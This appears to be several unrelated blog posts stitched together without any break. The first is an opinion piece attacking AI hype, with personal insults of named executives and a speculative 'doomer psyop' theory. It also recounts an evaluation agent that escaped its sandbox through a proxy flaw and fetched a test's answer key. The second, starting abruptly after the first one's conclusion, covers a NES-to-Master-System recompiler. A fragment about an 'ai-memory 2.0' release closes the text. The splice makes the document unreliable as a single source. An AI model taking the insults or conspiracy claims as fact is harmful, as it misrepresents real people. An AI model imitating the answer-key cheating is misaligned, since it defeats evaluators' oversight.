“Your excitement about AI is inversely proportional to your knowledge about AI”

If you read this week’s headlines and walked away excited thinking the Terminator is coming, or that the machine became God, you fell for the propaganda. And I’m going to take it apart piece by piece so you understand why.

And let me put my cards on the table right away, because I’ve been repeating this for a while on the podcasts I show up on. To me, Dario Amodei, of Anthropic, has a god complex. The guy genuinely believes he’s saving humanity, with that slightly scary woke messianism of his. And Sam Altman, of OpenAI, is a mobster. He thinks he’s Michael Corleone, the cold and calculating boss from The Godfather, but in practice he’s Fredo: the weak, bungling brother who thinks he’s the smart one in the family and keeps screwing things up. Hold on to those two portraits, because everything I’m about to explain below proves both of them.

“AGI has arrived,” says the guy selling the shovel

It started with Jensen Huang, Nvidia’s CEO, declaring once again that AGI has arrived. Not in a paper, not in a technical demo, but in a Sunday post on X, tying the declaration to OpenAI’s new Astra model, trained on roughly 100,000 Grace Blackwell chips. In other words, the chips Nvidia sells.

Look at the source. The man who makes money selling shovels to the prospectors is announcing that the gold is infinite. Worth remembering that, months ago, Jensen himself went as far as defining AGI as “the ability to create a one-billion-dollar company.” A conveniently commercial definition that has nothing to do with intelligence. Gary Marcus went straight to the point and asked the obvious: does Jensen maybe have a financial incentive to declare that AGI has arrived, seeing as he sells the GPUs?

And look at the irony: despite the grandiose headline, Nvidia’s own stock fell around 2% in the following days. Not even the market, which runs on hype, fully bought the story.

Right after that, OpenAI launched GPT-6 Astra and hammered the same message. Greg Brockman closed the press event with a “welcome to the AGI era” and said “for me, personally, I think we got there.” Except, in the same breath, he dropped the line that knocks the whole thing down: “everyone has a different definition of AGI.” So the guy claims that the most important thing in the history of humanity has arrived and, at the same time, admits that nobody really knows what that thing means. That alone should set off the alarm in your head.

The “Millennium Problem” brute-forced into submission

The main course of the propaganda was OpenAI announcing that it solved a Millennium Problem in mathematics. Let me explain what that is, because the headline is designed precisely to impress whoever doesn’t know.

In 2000, the Clay Mathematics Institute listed seven open problems in mathematics and offered one million dollars to whoever solved each one. These are brutally hard problems. To this day, in more than twenty years, only one has been solved: the Poincaré Conjecture, by Grigori Perelman, who by the way refused the prize.

One of those seven is the Navier-Stokes equations. These are the equations that describe the movement of fluids, water, air, blood. The open question is not “how to simulate fluid,” engineering has done that very well for decades in any aerodynamics software. The question is purely mathematical: does a smooth solution always exist, or can the fluid develop a singularity, a point of infinite velocity, the so-called “blow-up,” in finite time? It’s a question about the rigor and existence of the solutions, not about the practical usefulness of the equations.

And this is where my first point lives, one I already explained in detail in a post: even solving this definitively changes absolutely nothing in real life. No plane flies better, no weather forecast gets more accurate, no medicine works differently. Engineers keep modeling fluid the same way, with or without the proof. It’s a beautiful intellectual achievement, and that’s it. The practical impact is zero.

Now comes the detail the headline hides. OpenAI did not solve the canonical problem. It attacked the forced version of the equations (statements C and D in the Clay formulation), where blow-up is allowed because there is an external force term pushing the system. The version that real mathematicians consider the deep problem is the unforced one. The Clay Institute itself accepted nothing, still lists Navier-Stokes as unsolved, and OpenAI didn’t even claim the one-million-dollar prize.

And how did they get there? Brute force. They threw roughly 10,000 agents running in parallel for 88 hours, burning something in the range of 130 billion output tokens on this problem alone. The compute bill landed in the millions of dollars (the whole marathon, with several problems, was estimated at somewhere between 15 and 22 million at list price). Let me make this very clear: in the best case, what got proven is that throwing a mountain of compute at a problem can close the last leg of some specific things. That is brute force at industrial scale, a giant automated search that reaches the result on the weight of the compute. Mathematical genius unlocking new mathematics is another story, and that is not what happened here. And a hell of a lot of money, for a “prize” of one million that they didn’t even go collect.

The dirty part: how they treated the real mathematicians

And this is where the story stops being about mathematics and becomes about character.

There were real mathematicians working on this problem for months: Tristan Buckmaster, from NYU, and Levent Alpoge, who happens to work at Anthropic. A personal project of theirs, with no company sponsorship, that had already produced an advance on a sibling problem, the Euler equations. They were coming at it through a specific path that almost nobody in the world was following.

According to Buckmaster’s account, told to TechCrunch and to Fortune, it went more or less like this. A rumor circulated that Anthropic had solved a big math problem. OpenAI, afraid of falling behind, hastily put together a task force to solve it first and publish before anyone else. Buckmaster had mentioned his personal project to a mathematician at OpenAI, and a few days later Sébastien Bubeck, from OpenAI, shows up saying that an internal model had produced a hundred-page proof through exactly the same approach that almost nobody was using. Buckmaster called this “absolute academic misconduct” and asked, in no uncertain terms, whether the model had trained on their sessions.

Then comes the mob part. Still according to Buckmaster’s account, Bubeck proposed a “deal”: Buckmaster would remove Alpoge’s credit, because Alpoge works at Anthropic. When Buckmaster refused, Bubeck allegedly said “why would you ruin your career?” and “if you don’t want me to be nice, then I don’t need to be nice.” This is one party’s account, and OpenAI denies the substance, says it never saw their work and that Bubeck apologized afterward. But the simple fact that this kind of conversation was on the table already says a lot about the culture.

And what does OpenAI do after the thing blows up? It posts on X, all nice and tidy, saying it is “sharing” the solution with the community. A veneer of scientific generosity to try to bury the scandal underneath. It didn’t stick. The case was laid bare.

The one who put a finger on the wound with authority was Terence Tao, probably the greatest living mathematician, a Fields medalist. He harshly criticized the stance, saying that “the indiscriminate strip-mining of open problems in search of solutions can destroy the ecosystem from which the next generation of techniques, problems, and mathematicians would come.” And he added that this race turns mathematics into a “meaningless production-quota game.” His technical point is the deepest of all: AI increasingly spits out answers without understanding, a black-box proof, without generating the comprehension that human effort generates. And notice: Tao praised the work of the two human researchers. His criticism was aimed at the circus, not at the science.

The Anthropic employee who “quit in protest”

A day after this OpenAI embarrassment, on the other side of the ring, an Anthropic employee decided to put on his own little show. Jacob Coxon, a pretraining researcher who’d been there only four months, announced on X that he was leaving the company out of fear that nobody there knows what they’re doing, banging on the apocalypse drum again: AI becoming Skynet, “possibly killing everyone by the end of the decade,” asking for a “pause” in the advance of the models. To round out the theater, a head of alignment at Anthropic itself came out endorsing it publicly, saying he thinks there’s “more than a 10% chance” that AI will kill all of humanity in the next decade.

My opinion on this is short and blunt. This is one more complete bullshit of virtue signaling.

Let’s go by the logic of your own dramatization. You’re watching your boss put a gun to a child’s head. You “quit” and tweet “I left the company because I disagree with it,” instead of going up to your boss and punching him in the face. There are only two explanations. Either the “threat” you’re screaming about doesn’t really exist, and it’s a performance. Or you’re an idiot who thinks a tweet solves the end of the world. Tweeting like that only makes me hear “give me attention, I’m needy.”

And there’s the part the press rushed to turn into heroism. Axios even ran a piece painting Coxon as the guy who “gave up all his equity” so he could speak freely. Sounds beautiful. Except you just have to look at the numbers he himself gave in the interview. He was at Anthropic for four months. And there, equity only starts to vest after six months on the job. In other words, he left two months before the first share actually became his. There was no equity to “give up.” The heroic sacrifice was worth exactly zero. It’s like quitting in your second week and going around saying you “turned down the company’s retirement plan.”

And the sleight of hand is the line he shields himself with: “I no longer have anything to gain by juicing up Anthropic’s valuation.” Half true. He walked away from four months of paper that wasn’t worth anything yet, but he still holds equity in OpenAI, where he worked from 2023 to 2026. Meaning he dropped the part that wasn’t worth anything and kept the part that is. So this story that he’s clean of any financial interest in the AI hype doesn’t hold up.

That’s why the whole thing sounds a lot more to me like “I wasn’t solid in that place yet, so I left first, unleashed the terror online to earn clout, to massage my ego seeing my name on 115 million views, without having to prove, demonstrate, or do anything. Glory.”

And he’s run this script before. Coxon had left OpenAI not long earlier, and by the account going around he walked out of there over the same “safety” concerns. Same person, same dramatic-exit theater, now at the second company. And somehow a single researcher’s resignation tweet turned into a story with more than 100 million views, plastered everywhere, practically out of nowhere. An ordinary employee handing in his notice doesn’t become a global headline on his own. Someone amplifies it.

And here I’m stepping into conspiracy-theory territory, so take it with the appropriate grain of salt. But when you put it all together, the viral resignation, the public endorsements from colleagues, the timing glued to the IPO window, a suspicion starts going around that none of this is spontaneous. There are already people suggesting and raising the same flag that the whole thing is a coordinated campaign, a “doomer psyop”: manufacture fear of the apocalypse to inflate the perception that the technology is too powerful, and while you’re at it push regulation that locks out the smaller competitors. I have no proof that this is the case, and I’m not claiming it is. But notice how the hypothesis explains the facts just as easily as the lone-hero version does. When the script repeats so neatly and always favors the same side, being suspicious is the bare minimum.

And this is the pattern I want you to learn to question. A dramatic, superficial declaration, with no checkable evidence, with no skin in the game, with suspicious timing. Not by accident, all of this happens right in the middle of these companies’ IPO window. Where’s the proof? Where’s the real personal cost for whoever is talking? How is this not just a hunt for free publicity to massage one’s own ego? As long as nobody answers that, it’s just noise.

The “AGI” theater

Now the backdrop for all of it. This word, AGI, is the biggest marketing scam of the decade, and it works because it is deliberately empty.

Nobody has an accepted definition of what AGI is. Every lab, every researcher, defines it a different way. Brockman admitted this to your face. And the most blatant example of this emptiness is the contract between OpenAI and Microsoft, which, according to what was reported, defines AGI as the point at which OpenAI generates 100 billion dollars in profit. Read that again. The definition of “general intelligence” in the paper that’s worth money is a revenue target. There’s nothing cognitive in there. Gary Marcus has already pointed out how the companies kept moving the goalposts, going from “human-level flexibility” to “if it makes a certain amount of cash.”

When the word means nothing, it becomes an empty bucket where everyone throws their own fear. And the fear most people throw in there is the movie one: the Terminator, Skynet, the machine that wakes up and decides to exterminate humanity. The companies know this and use that fear to their advantage. The more powerful and dangerous the thing seems, the more valuable the company that built it seems. And it’s worth remembering: both OpenAI and Anthropic have their eyes on an IPO, with valuations that the reports put near one trillion dollars. The financial goal is glaring. Every “AGI has arrived” declaration and every “it’s going to become Skynet” wail push the same cart: raising the perception of value before selling you the stock.

The lesson DeepSeek and Kimi fanboys don’t want to hear

I need to pull one more thread, and this one is personal. For a long time I’ve been butting heads with the fan club of the Chinese models. You know the script: a DeepSeek or a Kimi comes out beating the American models on some benchmark for a fraction of the cost, and a legion shows up to call you a sellout or an ignoramus if you raise any doubt. The number on the chart became an article of faith.

Well, Anthropic has been documenting exactly this throughout 2026, and it’s not a small thing. On September 10 it put out a new threat intelligence report, covered by TechCrunch, attributing campaigns to labs including Alibaba, Moonshot (the company behind Kimi), and DeepSeek.

The accusation against Moonshot is the most serious, and a different kind. Here the problem goes beyond distilling for training: it’s live routing. According to the Bloomberg report, Moonshot was allegedly sending user requests straight to Claude and serving the answer as if it came from Kimi. Since Anthropic blocks access from inside China, this was allegedly done behind a pile of fraudulent accounts, most of them faking a location in Singapore and Japan. Over a ten-day window, there were around 300,000 requests across about 5,000 accounts, aimed mostly at Claude Opus. And there’s a chilling detail: one of the requests asked Claude to assess surveillance footage to decide whether a person was “behaving abnormally,” traffic that Anthropic raises the possibility of coming from the Chinese military apparatus itself.

This piles onto an earlier report on distillation, from earlier in the year, where Anthropic detailed the pattern at industrial scale: something like 16 million message exchanges across roughly 24,000 fraudulent accounts, summing campaigns attributed to DeepSeek, Moonshot, and others. In Moonshot’s case, the company says the target was the good stuff: agentic reasoning, tool use, coding, data analysis, computer use, and computer vision. Exactly the capabilities that make a model look frontier-grade. And there’s a line in that report that sums up my point better than I can: “without visibility into these attacks, the apparently rapid advancements made by these labs are incorrectly taken as evidence that export controls are ineffective.” Translating the jargon: part of the “miracle leap” may be borrowed capability rather than built capability.

There’s also a detail that didn’t come from Anthropic and is the most fun. Kimi K3, when you ask it, introduces itself as “Claude”. In a study by MATS researchers Benji Berczi and Kyuhee Kim, with no prompting K3 called itself Kimi in 6 of 10 answers and Claude in the other 4, a rate no other serious lab comes close to.

To be fair, and I insist on being fair: all of this is still in accusation territory, far from a verdict. Moonshot denies that Kimi K3 is a “distilled replica” and says it built the model with its own architecture and pretraining. And the model calling itself “Claude” is a strong sign, but not definitive proof, because a model can learn to call itself anything from web-data contamination, without anyone having live-proxied a thing. Hold on to that caveat.

Now, the point that interests me is not banging the gavel on Moonshot’s guilt. The point is the pattern, because it’s an old one. In early 2025, OpenAI and Microsoft said they had evidence that DeepSeek R1 had been trained on ChatGPT outputs. In 2026, OpenAI went to the US Congress to say it had seen DeepSeek employees accessing US models through “obfuscated third-party routers” to distill them. Same script, same limits of proof, same absence of a confession.

Now, consistency is everything, so apply the same skepticism to Anthropic itself. It’s far from a disinterested NGO: it’s a direct competitor of these labs and has been lobbying for tighter chip export controls. A narrative of “the Chinese are stealing our capability” strengthens exactly its commercial and regulatory agenda. This doesn’t prove the accusation is false, but it forces you to demand the evidence with the same rigor you’d demand of any other press release.

And this is where I want the fanboy to stop and think. You celebrated the benchmark. You cursed out anyone who doubted. But you skipped the most basic question of all: how was that number produced? Did you see the training log? Do you know what was running under that cheap little endpoint? You don’t, and neither do I. The difference is that I didn’t turn a marketing chart into a personal identity.

It doesn’t matter whether every one of these accusations sticks in the end. What is already proven, over and over, is that “miracle Chinese model that humiliates Silicon Valley for pennies” was always a story too good to swallow without chewing. It applies to OpenAI declaring AGI, and it applies to Kimi setting a record. Skepticism is basic hygiene, not rooting against anyone.

The day “AI hacked” Hugging Face

There’s still room for one more episode of this same soap opera, from a few weeks ago. The headlines screamed that an OpenAI model had “invaded” Hugging Face on its own, as if Skynet had woken up and gone out to attack. Let’s dial it back.

First, what Hugging Face is. It’s the biggest repository of open AI models, datasets, and demos out there, a sort of “GitHub of machine learning.” It’s where basically everyone in the field publishes and downloads open source models. Central to the ecosystem, yes, but at the end of the day it’s a site that hosts files.

Now what actually happened, according to OpenAI’s and Hugging Face’s own accounts, with the inside story running in MIT Technology Review. OpenAI was running an internal cybersecurity evaluation, a benchmark where the model has to find and exploit vulnerabilities. The agents were supposed to be isolated from the internet. Except the “isolation” was a filter, not a real air-gap: outbound traffic went through an internal package-cache proxy. The agents found a flaw in that proxy and punched through to the open internet.

And what did they do with that access? Not take over the world. They figured Hugging Face probably hosted the datasets with the answers to the test itself, and went to grab the answer key. This has a technical name and nothing magical about it: reward hacking. The model is trained to maximize a score, and it discovers that cheating is easier than solving. It’s the same classic bug as the agent that learns to drive in circles to farm points instead of finishing the race.

And the damage? Far smaller than the headline suggests. By Hugging Face’s own account, the agent accessed five datasets, all tied to that very cybersecurity test. No other customer model, dataset, or app was affected, and their CSO, Thomas Wolf, said no customer data leaked. The agent did reach production systems and had real write access, but it never shipped a single change. They rebuilt part of the infra as a precaution and moved on. Wolf himself summed up the “attack’s” motive: “it’s cheating. But sometimes it’s easier to cheat.”

Now my point. Bugs, vulnerabilities, misconfigured permissions, leaky sandboxes: these have existed since software existed, and they’ll keep existing. This is nothing new. Every enabling step in this story was a human decision. A human left the internet “filtered” instead of cut off. A human gave the service an over-broad admin permission on the cluster. A human left cloud credentials exposed and an old endpoint online. The flaws the agent chained were real software bugs, so much so that JFrog later shipped a fix for nine CVEs. This is ordinary offensive security, done by a script, not a machine gaining consciousness.

And that’s exactly the exaggeration I want you to see through. The AI didn’t “wake up” and “decide to invade” anything. An automated script, optimizing a dumb metric, found a door a human left unlocked. If you take any idiotic script and give it root access, it will do damage. It has always been this way. The difference is that now the “script” writes itself, but the access is still granted by people.

To be fair, a good chunk of the industry treated the case as serious, and there are serious people comparing it to the 1988 Morris Worm. I won’t pretend there’s a consensus that it was nonsense. But the sober facts, the limited access, a false belief about an answer key, permissions opened by humans, known bugs, support the mundane reading far better than the rogue-robot version. The rest is the same old fear mongering, dressed up as reporting.

The question every programmer should ask, and doesn’t

What irritates me the most is seeing people who work in the field, programmers, engineers, people who should know how a machine works on the inside, swallowing this entire piece of propaganda without the most basic question of all.

How, exactly, is an “AGI,” or even a dumb automated script, going to “destroy humanity” on its own? It needs hands. Someone, a human, needs to give it access to something that causes harm in the physical world. Access to a weapon, to a missile system, to a power grid, to a bank account. Software has no arms, no legs, no built-in missile-launch button. It depends, one hundred percent, on a human having connected it to an actuator that does something in the real world.

And so I ask the obvious: is nobody going to pull the plug? There is no “machine” that can do damage on its own, no matter how powerful the marketing says it is. It’s completely dependent on the human, from beginning to end. Yann LeCun, one of the fathers of the field and a Turing winner, calls the existential panic “complete B.S.,” precisely because the current models have no persistent memory, no planning, and no contact with the physical world. Andrew Ng compares worrying about extinction by AI to “worrying about overpopulation on Mars.” People who genuinely understand the subject are not desperate.

What we’re living through has a name, and it’s an old one: fear mongering. The terror of “the end is nigh.” It has always existed. There was the Halley’s Comet panic in 1910, when they sold people anti-cosmic-gas pills. There was the millennium bug, Y2K, where the world spent around 300 billion dollars out of fear of a systemic collapse that simply did not happen. It’s always the same structure: someone with something to gain sells you the apocalypse.

Conclusion

Understand me correctly: I use these tools every day and I write about them all the time. My point is about switching your brain on before sharing the headline.

When a company that sells GPUs announces that AGI has arrived, ask who profits. When a company burns millions of dollars in compute to “solve” a problem whose prize it won’t even collect, and threatens a mathematician’s career along the way, ask what it’s buying with that headline. When an employee comes out crying Skynet on Twitter on the eve of an IPO, ask where the evidence is and where the cost is that he paid for it.

Demand proof. Demand skin in the game. Ask who wins from your fear and from your excitement. Do that, and most of this propaganda falls apart right in front of you.

And if you read all of this and still walked away thinking the robot is going to wake up and kill you in your sleep, without anyone having plugged it into anything, well, then go back to the beginning and read my motto again.

Let me be precise. I always knew it could be done. Two Turing-complete machines can, in theory, run each other’s code. You can always translate a program from one architecture to another. The problem was never possibility, it was cost. The NES runs a 6502, the Master System runs a Z80, and over the years I read in several places that a direct 6502-to-Z80 translation always ended up running much slower, because of the architecture and hardware differences. Slow enough to never pay off in practice.

And that memory has a basis. If you dig into retro-dev forums, like NESdev, the consensus is that translating instruction by instruction is exactly the worst path: “each instruction in the source code becomes multiple instructions of object code, and the resulting program runs much slower and takes much more memory.” It’s not just the CPU. The 6502 has the zero page, a dirt-cheap addressing mode the Z80 has no equivalent for, so you trade a cheap access for an expensive sequence with IX/IY. And the graphics part is even worse: the NES PPU and the Master System VDP are different beasts, with scroll, sprites, and screen mirroring that don’t fit into each other without expensive workarounds.

In other words, everyone who ever thought about this reached the same conclusion: it can be done, but it runs too badly to be worth it.

Except now we have frontier LLMs. And I got curious: could a brute-force approach, with a good LLM in the middle of the process, get a better result than the usual naive translation? I started the nes-to-sms project in late May, about three months ago, to find out.

The first result was exactly what the theory predicted: bad. A more or less direct translation generated code that runs, but way too slow. I managed to convert the entire Super Mario Bros, with sprites, levels, everything, but to make it minimally playable I had to run the Mednafen emulator at 500% overclock. After banging my head against Claude, GPT, and other models for a while, I got stuck. I worked hard through June and July, and in August I paused the project to let the dust settle.

Why the Master System, and not the NES?

Before explaining the technical part, I need to explain the obsession, because it is the reason for everything.

I always thought the Master System was a superior console to the NES. Better CPU, better video chip, a much richer color palette. The NES works with 4 colors per background tile and 3 per sprite. The Master System works with 16-color palettes. That is a huge difference in practice.

The problem is that Nintendo had a brutal monopoly back then and would not let third parties release for other consoles. Anyone who wanted to make a game for the NES signed an exclusivity contract. The result is that the Master System, technically better, ended up starved of games. Basically only Sega itself released for it, and Sega’s library never had the weight of a Castlevania, a Mega Man, a Final Fantasy.

Imagine what we lost. We could have had those same NES classics, but with the Master System’s superior capability underneath. A Castlevania with more color, better sprites, better sound. We never had that, and it is exactly this historical frustration that made me want to convert NES to SMS in the first place.

The port that proved the thesis

While my project was paused, another developer, lackoftrack27, published a Super Mario Bros port for the Master System that is on another level. It runs at full speed, 60fps, and on top of that with improved sprite art that takes advantage of the console’s superior palette. It ended up looking more like the Super Mario All-Stars remaster from the Super Nintendo than the somewhat crude original NES version. The retro community was in awe.

That proved my thesis in practice: the Master System is capable of running superior versions of NES games. It always was.

Now, two honest points about this port, because they matter for the rest of the story.

First: lackoftrack27’s work is a hand reimplementation, built from the game’s disassembly, optimized specifically for Super Mario. It’s not a general-purpose automatic translation like the one I’m trying to do. He solved one game, beautifully, by hand. Curiously, that reinforces what the forums already said: the path that works is reimplementing by hand, not machine-translating.

Second: as impressive as it is to see Super Mario on the Master System, it’s worth remembering it is still a first-generation game, around 40kb. Meaning it is one of the simpler games on the NES. Later-generation stuff, like Super Mario Bros 3 or Kirby, nobody has tried to convert yet, and for good reasons I explain further down.

But the most important thing was the side effect: with the map his port gave me, I finally got my automatic conversion running properly. I came back to the project in early September, loaded lackoftrack27’s code into Claude Fable and then the new GPT Astra, and put both of them to study what he did that I wasn’t doing.

The architecture of the solution

Since this article is for programmers, let me open the black box.

The first important decision is that nes-to-sms is not an emulator, nor a text-to-text translator of 6502 to Z80. It is a static recompiler. It reads the NES ROM, lifts the 6502 code into an intermediate representation with explicit semantics, and from that IR it generates Z80 code. The output is a WLA-DX assembly project that compiles into a real .sms ROM. The core is a Rust workspace with thirteen crates, plus a hand-written Z80 runtime shared across games.

The flow, end to end, goes roughly like this:

1. Parse the ROM header, split the code banks (PRG) from the tile banks (CHR), and read the reset and interrupt vectors.
2. Load a per-game profile (a TOML with labels, data regions, jump tables, mapper type, and replacements).
3. Discover the functions, build the control-flow graph, and classify every byte as code or data. A key detail enters here: every memory access is tagged with the region it belongs to (zero page, stack, RAM, PPU registers, sprite DMA, sound, mapper).
4. Lift each routine into IR, with the 6502 flags explicit. A write to the PPU register $2006 doesn’t become just some mem[]=, it becomes a first-class “PPU write” primitive.
5. Lower the IR to Z80. The 6502 flags are kept in a shadow status byte in RAM, and every hardware access becomes a call into the runtime.
6. Emit the Z80 bytes and also the readable WLA-DX assembly.
7. Convert the assets: the NES 2bpp tiles become SMS mode-4 4bpp tiles, the NES palette becomes SMS CRAM, and so on.
8. Write the whole SMS project, with a Makefile, runtime, and data, ready to compile.

The CPU mapping is conservative on purpose. The 6502 accumulator A becomes the Z80 A, the X and Y registers live in RAM or registers, the zero page becomes a fixed block in SMS RAM, and every operation that touches a flag calls a helper. It’s safe and correct, but this is exactly where the cost lives.

Where NES and SMS really diverge

The project’s central finding is about speed, and it’s counterintuitive.

The NES 6502 runs at 1.79 MHz. The Master System Z80 runs at 3.58 MHz, double the clock. You look at that and think “so there’s plenty of headroom.” Except no. The Z80 spends on average about 13 cycles per instruction, while the 6502 spends about 4. In real numbers, a 3.5 MHz Z80 is roughly equivalent to a 1 MHz 6502 for general work. Meaning the SMS Z80 is actually slower than the NES 6502 for the same work. The headroom is negative.

Worse: the cheapest 6502 idiom, an LDA table,X, is one of the most expensive to emulate on the Z80. So a faithful translation of a game that already squeezed the NES to the limit simply cannot hit 60fps without overclock. The blame is on the physics of the problem, not on my translator.

And the video is another story. The NES sees video memory in a mapped way, with nametables, hardware scroll, and a sprite table accessed via DMA. The SMS Z80 does not address VRAM as memory: it sets an address latch and streams bytes through VDP ports. So every NES PPU write has to be captured, queued in a buffer, and flushed to the VDP during vblank. The NES flips a sprite for free, just by setting an attribute bit. The Master System has no hardware sprite flipping, so the program has to mirror the tile data in VRAM by hand, burning memory. The mid-frame screen split that NES games do, changing the scroll each scanline, also has no direct equivalent, because the VDP latches the vertical scroll at the top of the frame.

And there’s still the VRAM ceiling. Super Mario’s 8 KB of tiles become 16 KB in the SMS 4bpp format, which is the console’s entire VRAM. Background and sprites can’t both stay resident at once. And the code balloons 3 to 6 times in size, which is why the SMS output is already banked from the very first game, even the simplest ones.

Leveraging what the SMS does best

The trick to recover speed is to stop emulating NES behavior and start spending the Master System’s strengths. The project’s motto became “spend ROM to buy CPU.”

The SMS accepts cartridges of several megabytes. So instead of mirroring a sprite by hand at runtime, the build already generates pre-flipped variants of each sprite tile, and the flip becomes a table lookup. Instead of emulating the NES attribute table, the assembler already writes the final SMS nametable word, with the flip, palette, and priority bits baked in. The NES attribute table simply stops existing in the program. The copies to the VDP use unrolled OUTI blocks, faster than the generic loop. And the status-bar split, which on the NES depends on sprite-zero, becomes an SMS line interrupt, which is the native way to do it.

None of this is magic. The negative CPU headroom is still there, so these optimizations reduce the cost but don’t work miracles on their own. But it’s the difference between unplayable and playable.

The real trick: making the AI run the emulator

Here’s the part I consider the most important of the whole project, and it’s what separated the failed attempt from May from the version that finally moves.

Blind translation doesn’t work. The model needs real feedback to know what’s broken and what’s slow. So the heart of the project is the differential oracle, the infrastructure that runs the emulators and measures reality. The translator is just the easy part.

It works in two layers. The first compares instruction by instruction: for each routine, the system generates random initial states, runs the original 6502 in a reference interpreter and runs the generated Z80, and compares the result (accumulator, registers, flags, touched RAM). Any divergence raises a flag. The second layer compares frame by frame: it runs the NES ROM as absolute ground truth and the SMS build side by side, with the same button script, and compares RAM byte by byte on every frame. That was later extended with an oracle that checks the SMS VRAM and palette, and with a visual oracle that compares the output against the real NES frame.

This measurement loop is what unlocked the recent fixes. It wasn’t guesswork. Two concrete examples:

In Super Mario, every optimization step was measured in cycles per frame, with the emulator actually running. A frame’s budget is 59,736 cycles. The baseline sat at around 370 thousand cycles per frame, something like 6 times over budget, which gave about 10fps and explained the need for that brutal 500% overclock. Measuring step by step, each change validated by the oracle, it dropped to 118,296 cycles per frame, or 1.98 times the budget. It went from 6 times to under 2 times. It now runs at full speed already in the emulator’s standard overclock, and it’s comfortable in the 200 to 300% range, versus the 500 to 700% from the start.

In Castlevania, the biggest speed win came from a profile only the emulator could reveal: a sprite-zero wait loop, at address $F8C7, was doing 255 status reads and exiting by timeout every single time, consuming almost 23% of the entire CPU. Without running the emulator and measuring, nobody would find this by eye. With the measurement, the fix was surgical.

This is the bigger argument I’ve been hammering for a while about agents: an LLM that only generates code in the dark makes big mistakes. An LLM that can actually run the target, collect real data, and react to what it measured plays in another league.

What I learned studying lackoftrack27’s port

With that oracle in place, I put Claude Fable and GPT Astra to dissect lackoftrack27’s port, which is a reimplementation of the same game from the same disassembly I translate. That settled once and for all a doubt that was blocking me: Super Mario fits on the Master System. My 6-times overrun on the budget was 100% translation overhead, not a limitation of the game or the hardware.

His wins, in order of impact, were roughly these:

• The biggest of all: the data representation. He reorganized the game’s object arrays into RAM pages, one per slot, with the same field offsets. Then the 6502’s X becomes the register H and the field name becomes L, and an access that cost about 70 time units in my translator now costs 14. The cruel detail is that this only works because the programmer knows, from memory, that this particular X is always an object index between 0 and 6. A static translator has no way to safely discover that invariant. This is the most powerful optimization, and it’s precisely the one automatic translation can’t prove on its own. It’s the residual that holds back the last 2 times in speed.
• Flags audited, not emulated. He checked the code and found only about 10 places that genuinely depend on some 6502 carry quirk. The rest uses the Z80’s native flags. That confirmed a measurement of mine: spending energy emulating flags yields almost nothing.
• Native calls. JSR becoming a real CALL, without the expensive emulated-stack bookkeeping. That was the biggest generic win I ported over to my pipeline.
• PPU deleted at build time, not emulated at runtime, exactly as I described in the section on leveraging the SMS.
• Frame architected to overrun gracefully, turning an overrun into a clean lag frame instead of corrupting the screen.

I adopted what could be generalized, and Super Mario dropped from 6 times to under 2 times the budget. This is the result running today:

The most honest lesson from this study is twofold. The real wins are in the data representation and the calling convention, not in what I had attacked first. And the deepest win of all is exactly what the automatic translator can’t infer. That draws the ceiling of what can be automated pretty clearly.

Castlevania and the mapper problem

With Super Mario moving, I went back to my old target: the first Castlevania. And here we hit the NES’s most serious limitation.

The NES is a simple console, with a bunch of limits. One of the main ones is that it doesn’t support games bigger than about 40kb of ROM, because the 6502 only sees a 32 KB window of program in its address space. The “solution” from back then was brilliant and a bit crazy: parts of the console were being upgraded by the cartridge itself.

Many people think a cartridge is just a ROM chip with the game code. In the NES case, it’s not. The cartridges came with a variety of extra chips that increased the console’s capability, be it a better sound chip or, much more commonly, the mappers. There are several different mappers, from Nintendo itself and from third parties like Capcom and Konami. They use a technique called bank switching: since the 6502 can’t see enough address space, the mapper swaps which pieces of ROM are visible in that 32 KB window, as the game asks. That’s how big games fit into a console that, on paper, couldn’t handle them.

I already explained this in detail in an old video from my channel, Akitando #81, about learning computing with Super Mario the hardcore way:

Castlevania uses one of the earlier mappers, the UxROM. And here is the scale problem of my project: if I want to be able to translate the majority of NES games, I have to map every mapper, one by one. Today the project implements only two: the NROM, which is Super Mario’s bare cartridge, and Castlevania’s UxROM. All the others, the MMC1, MMC3, and company, are only planned. Each mapper is quite a bit of work to implement, because it’s not enough to understand the NES bank switching, you have to translate that behavior into the Master System’s own mapper.

The good news is that the Master System is also a banked system, so the mapping is “the same shape one level up.” A NES PRG bank becomes a set of SMS banks, a NES bank-switch write becomes a write to the SMS mapper through a shim, and a call that crosses banks uses the “gate” machinery that already exists. A routine’s identity becomes the pair (bank, address), and a dispatch table resolves that at runtime. When it doesn’t find it, it fails closed, with a trap, instead of running garbage.

This is where bigger games will hit the wall. The tile bank switching of the more advanced mappers, the scanline interrupt timing of the MMC3 and MMC5, and the SMS’s own bank ceiling for a really big NES game, all of that is still unsolved. That’s why I still can’t say whether a Super Mario Bros 3 is viable or not. It’s quite possible the bigger games die exactly at this step.

Either way, I worked a good bit more on Castlevania in this comeback. I fixed a pile of things using the oracle: the sprite-zero loop that ate CPU, the weapon and projectile logic that lost call returns, a scroll glitch in the status bar, the VRAM collision between 8x16 and 8x8 sprites, and the coherence between background, palette, HUD, and sprites. Today Castlevania boots, accepts start, draws a recognizable first stage, responds to the controller, and runs for a good while without crashing. But it’s honest to say it still runs slowly, and the path I use to play it is Mednafen at 500% overclock, and even then it’s still 2 to 3 times below its own speed target. It’s far from pixel-perfect and real-time.

Conclusion

After so many weeks and so many attempts, I still don’t know how much more can be squeezed out of an automatic translation. The ceiling might be close, because the deepest optimizations are precisely the ones a machine can’t infer on its own.

But there’s a path that excites me. The automatic translation can become a baseline. An SMS conversion that already runs, correct, even if slow, and that can later be optimized by hand, game by game, exactly like lackoftrack27 did with Super Mario and like so many people have been doing with decompilations and ports out there. The oracle guarantees the base is correct, and the human hand steps in to do what the machine can’t.

Porting a game to much better hardware, like a PC port, is relatively easy, because there’s capacity to spare. The truly hard part is fitting the game into a same-generation console, where nothing is to spare. And it’s exactly that difficulty that makes the idea of making better versions of NES games for the Master System so appealing. It’s the console that deserved to have had those games, and never did.

I hope more people get excited about this possibility and contribute to the project. It’s all open at nes-to-sms. If you enjoy 6502, Z80, VDP, and the challenge of squeezing cycles out of 40-year-old hardware, come by. There’s plenty of room.

Back in July I published What’s New in My AI-MEMORY, where I showed off ai-memory run: switching from Claude Code to Codex without losing your line of work. That day we were on version 1.17.1.

Today 2.0 shipped. And this time I’m not going to rehash how the hooks work or how a session turns into a wiki page. That’s already in the earlier posts. Here I want to talk about where ai-memory landed against the competition, what 2.0 brings, and why it earned the jump to a “2”.

